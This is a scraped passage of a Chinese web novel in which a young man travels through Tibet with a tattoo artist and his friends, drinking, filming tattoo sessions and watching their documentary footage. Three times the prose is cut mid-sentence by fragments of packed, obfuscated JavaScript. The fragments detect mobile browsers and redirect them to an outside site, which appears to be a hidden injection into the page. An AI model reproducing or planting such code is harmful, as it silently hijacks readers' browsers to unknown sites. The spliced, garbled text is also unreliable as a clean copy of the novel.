RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046871|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顶多算得上是微醺,几个人老酒鬼了,沈弋肯定是喝不过他们的。 他们也快散场,秉着不浪费一滴酒的原则在将瓶里最后的酒喝完,沈弋突然迷迷瞪瞪地仰天大喊,还是两句诗。 “王孙走马长楸陌,贪迷恋,少年游。” “太行王屋何由动,堪笑愚公不自量。” 几个人面面相觑。 丰继喝了口酒乐,“哎哟,活久见,还有人耍酒疯是背诗,我知道的第一个酒后念诗的还是李太白。” “这小孩真好玩。” 西堂见此情形也完全抵不住,怎么会有这样的人呢,活这些年了,第一次见这样的人。 他扶住站得歪歪斜斜的沈弋,说:“散了吧。” “行,不然等会不知道上演什么戏码。” 丰继给西堂搭了把手,将沈弋安置在副驾驶,安全带拉了扣好,沈弋自己嘀哩咕噜一阵,俩人对视一眼都没听清。 西堂轻轻叹了口气,哑然失笑。 沈弋被西堂放到床上,他随意扯了被子盖着人就进去洗澡了,洗完才出来处理这个醉鬼。 轻轻松松将沈弋脱得只剩条内裤,他站在床边平静地看着这具身体无所顾虑地纯欣赏了几秒钟。 沈弋皱了皱眉头,“冷。”,往旁边抓了抓,没扯动被子。 西堂扯过被子将他盖好。 外面时不时有说话声,沈弋怎么也醒不过来,等他惊醒已经太阳高照。 头痛欲裂,他慢腾腾收拾好自己,脚步虚浮扶着楼梯下楼看了一圈,一个人都没有。 又一个人都没有,这次他已经能够断定自己是最后起床的了,要不是西堂的行李还在房间里,他都得恍惚着想他们是不是跑路了。 沈弋打了西堂的微信电话,丰继接的,说西堂几人已经在文身,他过来接他。 丰继很贴心,先带他去吃了个午饭,他们早上七点多就起来了,那个时候沈弋昏迷不醒。 沈弋觉得有些不好意思,但也没说出来,不管不顾吃着饭,不管了,反正已经睡到现在,再不好意思也改变不了什么。 在西堂朋友家里,叫加南,他的文身就是西堂文的,县里人见了很喜欢,加南知道西堂在旅扎,邀请他们过来,西堂同意了。 沈弋进门就听见文身的机器声,轻微的声响,丰继不知道什么时候不见人影。 工作时候的西堂不说话,顾客说话也不理睬,顾客也不在意,自顾自的说了会才闭嘴,西堂闷头熟练地勾线,李木手持架着抬相机在拍摄。 沈弋观望了一会,走去李木旁边站着,镜头里的西堂只有侧脸,眼神专注,完全沉浸在文身工作里,对周围的一切置若罔闻,他的注意力被西堂的睫毛吸引了几秒钟。 李木切了个镜头,从刚才的人像近景切到手部特写,能清晰地看到针尖游走在皮肤上,墨水注入皮层。 李木偏头问他:“这样能拍吗?” 沈弋眼神一亮,“能拍。” 李木把这里交给了沈弋,自己去旁边重新拿了抬相机,沈弋这才注意到旁边柜子上摆的拍摄工具,几个三脚架、几个手持、几个镜头、还有两个小型相机。 偏向专业的工具,验证了沈弋的猜测,不仅仅是素材。 李木交代到:“凭感觉拍也行,后期会剪。” “行。” 沈弋开始上手,他按照自己喜欢的镜头语言去记录文身过程,他渐渐的察觉到自己拍出来的西堂和李木拍出来的西堂不一样。 李木拍的西堂像一个沉默的文身机器,他拍出来的西堂带有一些视觉攻击性,脸部线条冷峻,下针利落锋利,整个人显得严肃。 沈弋目不转睛盯着镜头里的西堂仔仔细细看了会儿。 西堂负责两个顾客,两个人都文好以后窗外已经夜幕笼罩,居然浑然不觉过了好几个小时,他也没感觉到饿。 沈弋给西堂负责的最后一个顾客拍了文好后的成品特写,两个顾客文的都是藏族菩萨,一个是红唐的普贤菩萨,一个是黑唐的四臂观音菩萨。 沈弋知道这些还是上次来西藏在扎基寺里听扎巴(僧人)说的。 西堂伸了伸脖子,开始清洗工具,沈弋取下手持稳定器靠着墙翻刚刚拍摄的内容。 4. 第 4 章 西堂清洗好工具以后,沈弋以为结束可以去吃饭了,但六个顾客说要与西堂单独聊聊。沈弋吃惊,若有所思两秒,扭头看向他熟悉的丰继和李木,他俩只是笑了笑,没有要解释或告知他的意思,沈弋只好作罢。 李木在看沈弋拍的部分,他不吝啬地夸道:“拍得很不错。不过,你拍的西堂、我拍的西堂好像不一样。” 沈弋垂着的那只手食指和拇指暗暗搓了搓,“嗯,西哥从额骨到下颌骨质量很高。” “额骨……下颌骨……”李木边念边理解这两块骨头是哪里,恍然大悟后,“你是神经病啊,那不就是西哥的脸吗!” 沈弋得逞地哈哈大笑。 六个顾客和西堂说完悄悄话出来,加南出声说:“饭店订好了,一起吃晚饭吧?” 后半句对顾客说的,顾客们拒绝了,“不能喝酒就不去了。” 加南忍痛放顾客朋友走了,带着其他人去饭店。 是很正式的藏餐,看得出来加南对所有人的重视,沈弋在这顿饭里明白西堂对于一些人来说的特别意义。 饭桌上加南说起往事。 加南是在香格里拉碰到的西堂,两个人一个伸手要烟一个说借个火,一段缘分就诞生了。然后加南不打招呼地跟在西堂身边,好像向导似的和西堂介绍起香格里拉。 生人勿近的西堂倒是没有赶人走,也许是借了个火的缘故,就这样,加南见证了西堂文身的过程,并且像是有一只手在背后推了他一把一样,他鬼使神差地开口,说能不能帮我也文个。 西堂盯着他看了几秒,道,文可以,和我讲讲你为什么要文身。 加南的文身不算小图,文了四个小时,但西堂分文不收,一个故事换一个文身。 沈弋听完内心不算平静,羡慕、惊奇、欣赏都有,很随性的一个人,他羡慕这样自由的西堂。 他扭了脑袋耐人寻味地看旁边正在跟加南喝酒的西堂,包厢的灯光照在他身上,影子跟在他背后,沈弋感觉那道影子在视线朦胧中和他打了个招呼就往窗外飘去了。 又喝多了,沈弋心想。 “又喝多了?”丰继凑近看沈弋的神情,问。 “没有。”沈弋不承认,顺带不满,“怎么天天都是喝酒?” 被加南听见了,“在西藏没有人不喝酒,酒是我们的饮料,我们招待亲朋好友得一醉方休。” 沈弋暗道,怎么可能没有人不喝酒,这么大个西藏! 才在心里嘀咕完,就被加南敬了一杯。 今晚喝的也是青稞酒,别有一番风味,沈弋还算喜欢。 他惦记着第一日未能吃成的酸奶,像被家长带出去吃席的小孩,低声问西堂:“我可以点酸奶吗?” 西堂睨了他一眼,招了招服务员,“来碗酸奶。” 沈弋满意了,重新在座位上坐好,双手撑着脑袋等酸奶。 丰继好像故意的,他没放过发呆的沈弋,“你就是喝多了,酒量不行啊。” “是你们太能喝了,不是我酒量不行。”青天大老爷,从晚上八点多喝到……沈弋看了一眼手机时间,喝到两点十一分了! “那就是酒量不行。” “是,我酒量不行。”沈弋点头,“认识你们三天,每天都在喝酒。” 丰继不怀好意地道:“你放心,接下来也是每天都在喝酒。” 沈弋为接下来每天都要喝酒的自己默默哀愁,于是往杯里倒满借酒消愁。 没等他哀愁多久,酸奶就上来了。 西藏正宗的酸奶很好吃,它不像一般店里买的酸奶那样各种口味,就算是原味也是不同的。不太好形容,不稀不稠,酸味刚好,自然发酵零添加,明明什么都没放,但吃起来浓浓的奶香味,让人感觉里面放了调味剂。 好像在打广告,不过沈弋真爱吃这儿的酸奶,之前因为工作来西藏,只要有酸奶,必吃无疑。 沈弋刮干净碗底和碗沿,想起来是西堂帮他点的还没说谢谢,对着西堂正要说话,张嘴却打了个嗝,声响不大,混着一股酒味和酸奶味,沈弋失去表情管理,立马低下头,每天都在尴尬,为什么! 耳朵边是西堂很低的笑声,沈弋感觉不仅脸红了,耳朵也热了。 真的喝多了。 加南挑的饭店不仅是饭店,也是酒馆,通宵营业。沈弋不知道后面发生了什么,因为他后半夜的时候没撑住睡过去了,抽烟都没提神成功直接倒头就睡。 后半夜三点多的时候,三个文身师早早就没喝了,只是坐着抽烟说话,倒了一个沈弋,其他人还处于喝是喝多了、但意识清醒的状态,酒量像个无底洞。 沈弋又无意识地往后一靠,小沙发的靠背没让他上演头砸地的戏码。 丰继憋着笑说,“真是一喝多就往后靠。” 西堂拿了靠背上搭着的外套随手盖在沈弋身上,盖完就转回去继续喝酒。 醒来是在民宿的床上,西堂已经不在屋子里,沈弋拿过手机,居然才十点钟。 西堂发过微信,让他醒了打电话。 沈弋洗澡换了身衣服,把西堂的衣服拿下楼交给民宿,还和民宿老板要了根烟,才打给西堂。 一群人在一家比较简易的茶馆,电脑两台,三个人,就沈弋知道姓名的他们仨。 在剪辑视频。 “哟,文身师这么内卷吗?还得剪视频?”沈弋悄无声息出现在三个人背后,突然出声。 丰继和李木被吓得一颤,西堂面不改色。 “是不是欠收拾?”丰继张口骂他。 “得,不跟你一对一。”沈弋撇撇嘴,又问:“可以看看吗?” “才三四天你就自来熟了,说话这么不客气。”丰继让他看,换之前沈弋肯定是请问方便看看吗的话。 沈弋自己把电脑往面前一挪,视频还没剪好,差个结尾,还留在pr界面,他点了鼠标开始从头播放,有字幕科普相关信息,但没有对话的字幕,不过听得清画外音,也听得出来是西堂的声音。 内容不是昨天录的那些,沈弋还以为是昨天的。 日本,东京。一来就是这四个艺术字映入眼帘。 一个地点的整体内容有各种顾客的自我介绍、想文身的原因、文身后的图案展示、顾客的一些故事镜头等,但它不是这么平铺直叙的方式,灵活运用了蒙太奇进行镜头组合,不像在看纪实片子,或者说不像在看纪录片,像在看电影。 有一段是一个身材不错的男明星、左胸肌上文了日本经典的般若图,只有脑袋,没有其他的花纹衬托,般若的眼睛是朱红色的,特别突出显眼。 拍摄时加了“水”这个元素,几条细细的水流从胸肌上流过,般若的红眼若隐若现。 其他的图案还有鲤鱼、龙凤、麒麟、百鬼、肖像等,传统文身和现代文身都有。 沈弋微微蹙着眉头看完,他不太喜欢日本文身的风格,中意的是中国的意境美文身。当然,对于文身业的了解很局限,这只是就他的个人审美而言。 “拍得很专业啊,看完确实被科普了,画面拍得很有感觉,你们谁想到的加元素配合拍摄?‘水’和‘树林’特别体现出文身的视觉冲击感。”沈弋一溜串地说,“拍得跟个纪录片一样。” 李木和丰继抽得吞云吐雾,沈弋也嘴痒,拿了一根,听李木道:“专业点评啊,一下子冒出来这么多句,纪录片?什么纪录片啊,拍着玩呢。” 沈弋听他四两拨千斤,回他“切”的一声。 被西堂双眼定定地盯了一眼,西堂勾起嘴角说:“等时机成熟告诉你。” 还时机成熟,我看你们仨像虾米煮熟,不说就不说,找什么借口。沈弋眨了眨眼,露出一丝冷笑,“哦”,又问:“还有别的吗?” “有。”丰继挪回电脑在文件夹里翻。 西堂重新点了些吃食,连同午饭,沈弋边吃边看自成一个小世界,他们仨在旁边安排接下来的路线和工作时间。 涉及地很广,几个文件夹分别是非洲、美国、日本……每部片子命名也复杂,某年某月某日、地点、文身风格、片子的具体名…… 沈弋拉到最后的一个文件夹,北美,点开后一眼看见了日期,六年前! 谁会花六年坚持做一件事!还说什么拍了做回忆录,沈弋一个字都不信! 而且片子画面都拍得很稳定,剪辑很流畅,视听语言配合得也很好,科普的字幕也通俗易懂,虽然专业术语多,但沈弋全都看懂了。看得出来导演和后期的技术很不错,甚至比国内的大多数纪录片要好得多。 沈弋视线留在着视频上问西堂:“六年,拍这么久?当时你几岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046872|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,二十五?跟我现在一样大吧?” “嗯,二十五岁开始的,当时想的简单,想满世界去,又需要赚钱,就学了文身,去到哪里文到哪里。”西堂懒懒地回答。 沈弋点点头继续看,一个下午看完了三分之二,剩下的他打算晚上接着看。 西堂点的吃食基本清空,甜茶喝了四壶,几个人断断续续跑厕所跑了三四次,沈弋伸了个懒腰,撑着脑袋闭目养神。 他已经懂了昨天傍晚的悄悄话是什么,片子里也有,顾客对西堂讲文身的原因或者剖析自己的某些事,类似于我为什么对活着痛苦、我有什么遗憾、我最后悔的一件事…… 脑子是视频里的画面,文身带来的视觉冲击力让他有些头晕眼花,盯着一堆花花绿绿或者凶神恶煞再或者风格不一的图案看了一下午,有点生理性不适的想吐。 不过文身本身文得很好,空间感强、有些虚实感分明,质感也能一眼看出来,透视感效果好。 想着想着,沈弋突然抓住了一个被他忽略了一下午的信息。 时间! 现在看过的这三分之二的视频命名里所涉及的时间零散却又集中! 沈弋直接想到了寒暑假,七八月将近两个月、可一二月却只有一两个星期,不排除在忙着过年的因素。但其他的零散时间却和中国不一样,比如国庆节是从未出现过的、但十月底却多次出现。 前几年的时间比较有规律可寻,这两年几乎每个月都出现了。 好像抓住了什么有用的信息,却又对不上,沈弋想了一会儿没想通暂时放弃了。 想了想问了个擦边的问题,“你们仨有本职工作吗?” 三个人沉默着用奇怪的眼神看了看沈弋,沈弋摸不着头脑地又说:“这个问题是……很冒昧吗?” 西堂先打破沉默,“有啊,但不告诉你,这两年的本职工作算是文身,前几年还做别的,但这两年只在文身。” “难怪视频标注的时间这两年每个月都有出现。”沈弋明白自己没猜错,也对西堂开门见山的一句“不告诉你”打得措手不及,“时机成熟能告诉吗?” “可能吧,以后再说。” 这基本等于没戏,在中国以后等于没有以后,沈弋懂,他也不想告诉他们自己具体是做什么工作的。 李木配合地回答他:“我就是摄影师。” 丰继也配合,说:“我是老板,你以后混不下去了欢迎来当保安。” “……不了,谢谢。”沈弋拒绝,除非广电局倒闭了,不然他应该不会混不下去的。 话题戛然而止,开车出去乱逛了逛措勤的周边路段,返回后和其他几个人碰头找地方吃饭,这段饭是西堂请的,说是谢谢沈弋昨天的拍摄。 沈弋咧着嘴笑:“拍得挺开心的,以后需要人手尽管吩咐就行。” 李木似乎就等他这句话,回道:“那是那是,平日里只有我自己拍累死了,往后就指望你了。” 其他人帮沈弋:“那西哥得顿顿请。” 西堂为自己开脱,“我也没有天天拍,哪来顿顿请。” 沈弋在一旁笑,眉眼弯弯的。 几个人又喝酒,有客人喝酒,没客人也喝酒,沈弋是知道了,几个人纯粹是因为喜欢喝酒。 酒量没这哥仨好的就小酌怡情,跟这哥仨能来几个小时的就你来我往一直喝着,不过喝着喝着也搁酒杯了,每每到最后还是只有这哥仨。 今晚沈弋是小酌怡情,所以他尽管醉了还是醒着看到了最后,连李木和丰继都有点上头了,西堂却微微勾着嘴角漫不经心地喝着,眼神清醒、明亮。 沈弋好奇:“你喝醉过吗?” 西堂头也不回地“嗯”一声。 又问:“那你喝多少才会醉?” “现在算是喝了三分之一吧。” “三分之一?!”沈弋低吼了一声,瞪着眼睛。 凌晨一点,没有前几天喝得晚,却比前几天都喝得多。前几天基本是慢慢来,边说边喝,今晚像是单纯的喝酒。其他人说话如常,这几天都坐在西堂旁边,他知道今晚西堂没怎么说话,一直在自己喝酒,喝得自娱自乐、兴致不错。 藏酒度数不高也有四五十度,沈弋看着面前的空酒瓶有些怀疑是自己喝多了数错瓶数,这竟然才到三分之一。 5. 第 5 章 对于早起,其他人是完全不用管的,不管夜里喝到几点、喝到多晚,早上有事就能起得来,而且一整天能保持神清气爽。只有沈弋,睡晚了就起不来,沈弋估摸自己才是老年人,他得睡够八九个小时,不然一整天就作废了,什么工作都做不了。 昨晚喝得少,今天被西堂叫醒的时候感觉还不错,只有宿醉过后的轻微头疼。 全部人去物资补给,西堂打算从措勤一口气开到拉萨,八百多公里,路程还算可以,十三个小时左右。 沈弋在加油站的时候走近西堂身边,正色跟西堂说:“今天时间长,交替开吧,不然我不坐了。” “那你待这儿吧。”西堂面色平淡看着他回。 “……” 威胁人没成功,沈弋趁其不备、眼疾手快钻进驾驶位。 西堂顺着动静一抬头就对上了沈弋的眼神,眼珠子又黑又亮,带着挑衅和得意,他在为自己的先斩后奏而开心。 西堂没做回应,撇开目光往旁边能吸烟的地方走去,边走边掏出烟。 沈弋嬉笑的脸色顿时染上几分不知所措,刚才的开心一瞬就烟消云散,随之而来的是感到有些懊恼,西堂是不是生气了,但他木愣愣地坐着没动。 油加满了,服务员拿着收款码到车窗边,沈弋朝远处背对着的西堂看了一眼,扫码付了款,他正要喊西堂,就被丰继抢先了。 西堂在垃圾桶那按灭了烟,走过来坐进副驾驶座。 “我,我开吗?”沈弋有些许摸不清状况地问。 西堂系安全带,“你不就想开吗?” “哦。”沈弋启动车,就没有后续动作了,东瞅瞅西瞅瞅,“我没开过这么好的车,怎么……开?” 西堂真是没想到,低声笑了出来,给沈弋大概讲了下。 沈弋听完摸索着踩了油门,速度比较慢,像个刚拿到驾照的。 开了十多分钟,后面紧跟着的那辆车鸣了声喇叭,西堂的手机也响起来。 是丰继,西堂手机连着车的蓝牙音响,丰继的话落入沈弋耳朵里。 “怎么开这么慢,酒没醒还是腿脚不灵活了?” 西堂看了眼沈弋,不禁又笑,“沈弋开的,不太熟悉我的车。” 丰继可能也连着车里的音响,那头传来三个不同的笑声,沈弋抓着方向盘的手肉眼可见的僵硬。 “行,慢慢开,挂了。” 沈弋坚决地说:“再给我十分钟我就能掌握了。” “开始计时。” 西堂也是个神经病,沈弋暗骂。 熟悉以后沈弋渐渐提速,出了县里速度就快了,大G本身引擎性能很好,对于男生、更何况是二十五岁的沈弋来说,简直是多巴胺分泌、肾上腺素飙升。 沈弋眼睛睁得圆,亮得惊人,抑制不住的兴奋快要从嗓子眼蹦出来,一直咧嘴笑着,要不是害怕被西堂扔下车,他都要不顾一切地大喊大叫。 西堂松了松安全带,倍感无奈,却也不由得跟着心情还不错。 措勤到拉萨路不难走,蓝天、万里无云,荒漠、黄棕色的,笔直公路、也有土路、灰尘漫天。 沈弋开了六个小时,从早上开到下午,十二点的时候大家歇了一次填饱肚子,前半段路还算精神,所有人没再另停车抽烟。 西堂依旧没多少话,双手环胸放倒椅背闭目养神,后半段路两个人交换。 下午在班戈吃饭,热腾腾的藏面几个人都吃得欢快,有些饥不择食。 迎着傍晚的落日熔金到达纳木错,半边天都是刺目的红色,西沉的太阳好像在抓住最后的机会绽放光芒,所以特别耀眼,仿佛天空破开了一道口子,纳木错本该蓝色的湖面也被染成红色,一天一湖之间只有遥远的雪山是白色分割线。 “我可以站上去吗?”沈弋拍了拍西堂的车问。 “你爬得上去就可以。”西堂无所谓道。 不得不说奔驰大G底盘确实高,这时候沈弋腿长的好处发挥出来了,他很顺利就爬上去了,转了个身面朝着西堂咯咯笑。 沈弋身高腿长,他站的位置在西堂的角度看过去刚好看不到湖和山,只有他和背后的漫天红光,发丝也看得见抹红光,很不真实的画面,像宫崎骏的漫画。 西堂拿出手机对着沈弋拍照,他顿了顿又点了录像,刚点开录了一秒,就听见沈弋大喊。 “我要把这天烧了!我要把这世界捅破!啊啊啊啊啊啊啊!” 下面的几人都听见了,不管在干什么的,都齐齐扭头看向沈弋。 丰继轻声笑着说:“这孩子,给我喊年轻了十岁。” “当年我们也是这样啊,不惧这烂天烂地烂世界。”李木也说。 西堂录到沈弋喊完就结束了,发了一份给沈弋后收起手机,慢慢地将烟抽完。 等沈弋玩够了全部人继续行驶。 到拉萨刚过凌晨一点,沈弋困得睡着了,头歪得快碰到他自己的肩膀。 西堂选了家看上去很不错的酒店,车停在酒店专属的停车场里,沈弋睡得沉,停车熄火也没醒。 西堂没有在车里直接叫醒人,他颇有玩心地先下车、绕到副驾驶座,从外面敲了敲副驾驶的车窗,透过车窗能朦胧地看到沈弋被吓醒。 也许是报昨天剪视频时被沈弋吓到的仇。 哦,已经凌晨了,是前天。 几个人拿了行李包坐电梯去前台办理入住,一夜无梦。 沈弋一觉醒来,看着陌生的房间发愣,半夜里他困得意识不清醒,有些懵圈是怎么睡下的,断断续续想起来他甚至是洗完澡才睡的。 房间空间很大,像个单人平层,一应俱全。沈弋起来逛了逛,侘寂风,黑白搭色,简约高级,他还挺喜欢的。 只有一张床,应该是各住各的。 沈弋洗漱完下楼,时间很早,去餐厅吃早餐碰到西堂和丰继。 “早啊。”“早,两位。” 沈弋选了想吃的后端着坐在两人旁边,还好俩人坐的四人桌,不然他都插不进去。 “怎么住这么好的酒店?”沈弋拿起一块面包切片还没往嘴里塞,问。 丰继答:“西哥在衣食住行上从来不委屈自己,前几天是条件所迫。” 懂了,有钱就是大爷。 “今天什么安排?”沈弋又问。 西堂喝了口咖啡:“没安排,你自己玩去吧。” 懂了,几个人要说悄悄话。 沈弋一副我懂的表情比了个ok的手势,低头专心吃早餐。 俩人吃完贴心地等待沈弋,出了餐厅就分道走,既然不工作,沈弋决定出去走走。 他没有预约,很多大众景点去不了,想了想选择八廊街。 不计其数的小商品看得眼光缭乱,可沈弋却觉得好玩,他每次逛这种卖小商品的街道都能想起来以前跟着他爸逛古玩街。 沈弋进了家合眼缘的店,买了一袋子唐卡,他拒绝不了唐卡,多么色彩斑斓的物件!镂金勾勒、错彩交相辉映之下描绘出尽染信仰的佛法慧深。 一整个早上的时间都打发在八廊街,他走会儿蹲会儿,看着来来往往形形色色的人,游客、本地人、老板,砍价的、如他一般直接买的、逛了一圈走人的,很精彩,像在看生活片电影。 午饭在一家外观看上去很有逼格的店吃的,沈弋选了部电影用手机看,边看边吃消磨了一小时四十七分钟,这是电影不开倍速的时长。 下午跟着导航到服装店里买了两身衣服,把自己搭配得很像潮男,肯定是帅的,在他的文艺青年气质的中和下整个搭配不庸俗,相反还别有感觉,沈弋很满意。 晚饭去的是中午那一家,因为他沿路没看到第二家合眼缘的店。 如果他是一个博主,那今天一整天就是一期“拉萨·city walk”。 好心情结束在天色黑了往回走的路程中,原因是接了通好兄弟打来的电话。 陈昀冷漠无情地问:“网上骂声一片,你打算逃避多久?” 沈弋当然知道网上骂声一片,他的手机时而开机、时而关机,点开微信就能看到同事和助理发来的消息,都是告知他现况,点开微博运气好还能看到自己在热搜榜里。 舆论还在发酵,毕竟才过去不到半个月。 沈弋不以为意说:“先逃一个月吧。” “一个月,等你回来直接辞职吧。” “我没这么没地位吧,劳神伤身混了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈弋知道丰继在配合他,继续道:“我方早上没有很通情达理,只是有苦难言,所以欲言又止,所以我被你们狠心孤立后,一整天带着‘懂事’后的委屈、隐忍度过,在此时此刻回到酒店终于爆发,为此,你方刚才提到的‘懂事’所表达的确实不是一个褒义词。” “但是我方在早上并不知道你有苦难言、欲言又止,你方存在主旨模糊,意图混淆概念。” 沈弋突然面露笑容。 “嗯?你这个不高兴和高兴的点也太奇怪了吧,这有什么好笑的?”丰继说。 “不知道啊,我们小孩子情绪不稳定不是很正常吗?” 他觉得这几天像本只应发生在电影里的情节,却在现实里上演了,而一个旅途中突然遇到的本质上还是陌生人的比他大几岁的人,看出来他不开心,愿意配合他辩论,让他能够借辩论发泄情绪。 “行,那现在开心了,可以说说刚才为什么不开心吗?” “我是工作不顺才来旅游的,这事和你们提过,刚才回来的时候被我朋友骂胆小鬼,遇到事情逃避问题的胆小鬼。” 丰继理解地笑了笑,“理解,谁没逃避过,也不能算逃避吧,只是出来喘口气。” 沈弋低头闷闷地嗯一声,有点无所适从地瞅了瞅一直坐在旁边低头看手机不吭声的西堂。 西堂似有所感地抬头,对上沈弋的目光后眉眼变得温和,从神情上无声安慰了一下,起身道:“回房间睡一觉就好了。” 和沈弋身体错开的那一瞬间,沈弋感觉到他的脑袋被人顺毛了。 他呆了呆也跟着站起来回房间,一路走在两人身后,到了房间门口互道晚安。 唐卡忘记送出去了,也没看到李木和其他几个人,那就明天吧,明天要记得送出去。 他还不想澄清,手里是有实打实的证据能够自证清白,但舆论发酵得越激烈越好,那样可以坏人站得多高就摔得多惨。 他从来不喜欢什么君子行为,他就崇尚于风水轮流转,也不用以其人之道还治其人之身,在这个圈子里捧杀一个人才是最轻易、最有趣的手段。 而且他现在遇到一群有意思的人,当然要避轻就重,难不成放着这群人不相处,跑去跟傻逼玩吗? 沈弋想,接下来的旅途他会不带任何工作上的怨念去享受了,从被救那一天算起,为期一个月,一个月到他就回去收拾烂摊子。 我保证,沈弋面对空气中二地发誓。 6. 第 6 章 可能是沈弋了却一件心事,他睡得很好,也醒得很早,进餐厅的时候只有他在,有些早餐还没有做出来。 他慢腾腾吃,眼睛看着手机里的热搜。 #新晋编剧沈恒升抄袭知名编剧李佳楠#沈恒升《不归》抄袭#李佳楠声明会走法律程序#多人为沈恒升发声#影帝谢必安发博称沈恒升是清白的#沈恒升个人信息…… 沈弋眉头一皱,点开“沈恒升个人信息”。 沈恒升,于今年北京电影学院研究生毕业。本科期间大一到大三每年皆有作品荣获金字奖、北京大学生电影节等赛事的最佳编剧,名声初起,大四毕业作品荣获中国电影金鸡奖最佳编剧奖,这部作品还获最佳导演、最佳摄影等,一炮而红;研究生期间逐渐在娱乐圈站稳脚跟,小成就诸多,大成就有荣获戛纳最佳编剧、柏林提名。 这算什么个人信息,沈弋觉得可笑,这不是沈恒升的个人成就吗? 沈弋搜了搜李佳楠的信息,四十岁,金鸡、金像、华表、金爵……基本中国的电影奖项都获过,但世界四大电影节没有任何提名或获奖。 这又算什么知名编剧? 沈弋冷笑一声,退出了微博。 “哟,今天怎么起这么早?” 未见其人先闻其声。 “我好歹是个比你们年轻的年轻人,这很奇怪吗?” “全身上下嘴最硬。”丰继怼回去。 “我全身上下最硬的怎么可能是嘴?”沈弋不苟言笑地说。 丰继眨了眨眼睛,“大早上气血方刚啊。” 沈弋也有样学样冲他眨了眨眼睛,“你在说什么,不是牙齿最硬吗?” 丰继抬手隔空竖了个中指。 西堂先过来坐下,“没睡好?” “怎么这么问?”沈弋有些不懂,问完就反应过来了,“挺好的,所以起得早。” 西堂没再说话,倒是沈弋沉默了会儿道:“今天什么安排?” “今天还得你自己玩,排了三个人。” “三个人,那你们一人一个也快啊,大图?”沈弋不死心。 西堂勾勾嘴角,故意刺激他:“我不文,一整天看片子,李木拍完和丰继还有事,其他几人你好像跟他们不太接触,你应该不想和他们玩吧。” 沈弋:“看什么片子,我可以看吗?” “看黄片,非三十而立不能看。”丰继边说边坐了下来。 西堂继续和沈弋说:“跟你之前看的一样,不过是初版,你就是出来旅游的,没必要跟我们窝在这里浪费时间。” “三十而立看了还有用吗?感觉起得来吗?”沈弋先怼丰继,再和西堂就事论事,“有没有浪费时间不是取决于我的个人感受吗?要不我先和你看片子,我觉得不好玩我就出去。” 西堂拗不过他,来看片子也没什么,答应下来。 中国,重庆。片子和前天看到的风格差不多,也许是因为在本土,沈弋观看起来感觉比国外的好。中国人文身也有许多人文的图案是国外的,但总是有一种不可明说的意思,它没有国外的看上去那么凶神恶煞,好像带了点中国韵味。 片子进度条缓缓滚动,一个很不合时宜的人出现了。 粗糙,老实,四十七岁,和文身这个词格格不入。这是沈弋第一眼看到人后心理定位出来的视觉信息,普通话不太好,要不是有字幕,沈弋都不太听得懂他在说什么。 文身的内容离谱又简单,“父亲、破折号、某某某”“母亲、破折号、某某某”“我……”“配妻……”“女儿……”,文在后背上,五排汉字触目惊心。 沈弋在文身图案出来的那一刹就明白了,陕西版《活着》,他只感觉自己的呼吸停了停,窒息了几秒钟才继续运作。 对话里中年人的第一句是:这是在干嘛,文身?什么是文身? 一个连文身是什么都不知道的人,却在他背部粗糙干燥得起皮的皮肤上文了一个家庭、他的现世。 他声音沙哑着说,人都死光了,我怕我老了记不住,你给我文身上,他们就有活过的痕迹了。 西堂语气没有起伏说,你老了记性不好,说不定连背上有文身都忘记了。 他又说,那就在家里摆满镜子,我一脱衣服就看得见了。 西堂又说,活着痛苦,怎么不跟着他们走。 他再说,贫穷也叫贫苦,穷人活着就是痛苦的,庙里叫修行,我信命,老天这么安排肯定有它的道理,今世修为不好,下世就得继续修行,我今世多受点苦,下世过得好。 这种观念在藏族信仰里也有,今世无论受了多大的苦楚都没关系,所有的苦楚都是为了修行,今世的苦是为下世积德。 他说的第一句话沈弋也认同,这是很偏激的看法,但不无道理,在阶级分明的社会,穷人和富人之间的鸿沟一直不可跨越。 富人的很多东西穷人一辈子都享受不了,富人是在享受世界上的一切资源,穷人只是一场赤裸裸的活着的修行,重复地吃已经吃过很多遍的饭菜、重复地做已经做过很多年的事、重复地眼睛一睁一闭去经历三万天左右然后死亡。虽然不是大多数的穷人都这样,穷人也能通过努力偶尔过一过富人的生活,旅游、高级餐厅、中层奢侈品……可是这些在富人那里唾手可得,在穷人这里得小心翼翼才能短暂拥有,并靠这些短暂度过一生。 “‘配妻’两个字是你给改的吧?”沈弋沉闷着情绪问。 “嗯,他说的是‘那口子’。” 不知道西堂是出于怎样的原因用了这两个字,但沈弋觉得用得很好,神来之笔的效果,‘配妻’,不是伴侣、不是妻子、不是媳妇。 沈弋让西堂把片子暂停一下,他得稍微缓缓,点了根烟,吸进肺里好像做了一场心脏复苏终于活过来。 “诶,你看没看过一个法国华侨导演的电影,叫《零点九》。”沈弋道。 西堂过了两秒说:“看过。” 《零点九》主线是两个少年,两个人都遭受过家庭暴力。一个是边远地区没有法律意识,父亲从小就家暴,母亲因为自己的胆小为保护自己间接性被自己害死;另一个是本来家庭美满却父亲公司破产开始家暴,母亲杀了父亲。两个人偶遇熟知以后和对方剖析了自己的过往,第一个人回去想要杀了父亲,第二个人不放心偷偷跟着他,在他要杀人的时候出来阻拦,混乱之下第一个人失手杀了第二个人,第一个人的父亲在一旁放声大笑,后被第一个人杀死。 